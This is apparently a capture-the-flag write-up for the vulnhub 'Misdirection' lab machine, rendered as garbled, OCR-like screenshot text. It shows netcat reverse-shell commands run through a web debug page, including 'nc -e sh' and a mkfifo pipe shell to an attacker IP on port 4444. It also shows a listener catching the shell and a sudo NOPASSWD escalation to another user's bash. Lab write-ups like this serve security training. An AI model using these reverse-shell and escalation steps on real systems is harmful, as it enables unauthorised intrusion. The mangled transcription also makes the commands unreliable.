vulnhub

View on GitHub

Misdirection

22 June 2022 11:02 AM

a 192.168.43.213:8080/debug/ jer - wv.. Lid Privilege Escalation. GTFOBins BasicLinuxPrivi1egeE... whonai sh: 1: whomai: not found online - Reverse Shell BeyondSQLi:Obfusca... GitHub - bonsaiviking/... cd whoami pouny@shetl data pouny@shetl : nc: invalid usage: nc ( nc: invalid usage: nc >/tmp/f whereis nc nc: /bin/nc .openbsd /bin/nc /usr/share/man/manl/nc.l.gz -/htmt/debug# nc -e sh 192.168.43.208 4444 option - .46CDdFhklNnrSt1JuvZzJ 1.1 length] [-i intervall I-M ttl] (-m minttll [-0 length) [-P proxy _ username) I-p source_portl I-q seconds) I •s source] keyword] [•V rtablel [•W recvlimitl timeout I I-X proxy. protocol) proxy _ address( (destination] [portl nc •c sh 192.168.43.208 4444 option - .46CDdFhkU1nrStUuvZzl length] intervall I-M minttl] [-0 length) I-p proxy username) I-p source_portl (-q seconds) I-s source) I-T keyw6rdl [-v rtable] [-w recvUmitl [-w timeout) (•X proxy_protocoll (destination] (portl rrn /tmp/f;mkfifo /tmp/f;cat /tmp/tlsh -i 192.168.43.208 4444

(kaliS $ nc -nvlp listening on [any] 4444 . connect to [192.168.43.208] from (UNKNOWN) [192.168.43.213] 50192 sh: O: can't access tty; job control turned off $ whomai sh: 1 : whomai: not found $ whoami vwm-data

mw-dataömisdirection: /home$ sudo -l Matching Defaults entries for mwv-data on localhost: env_reset, mail_badpass, ocal/sbin\ : /usr/local/bin\ : /usr/sbin\ : /usr/bin\ : /sbin\ : /bin\ : /snap/bin User mw-data may run the following commands on localhost: (brexit) NOPASSWD: /bin/bash mw-dataamisdirection: /home$ sudo -u brexit /bin/bash brexitamisdirection:/home$ id brexitä)misdirection : /home$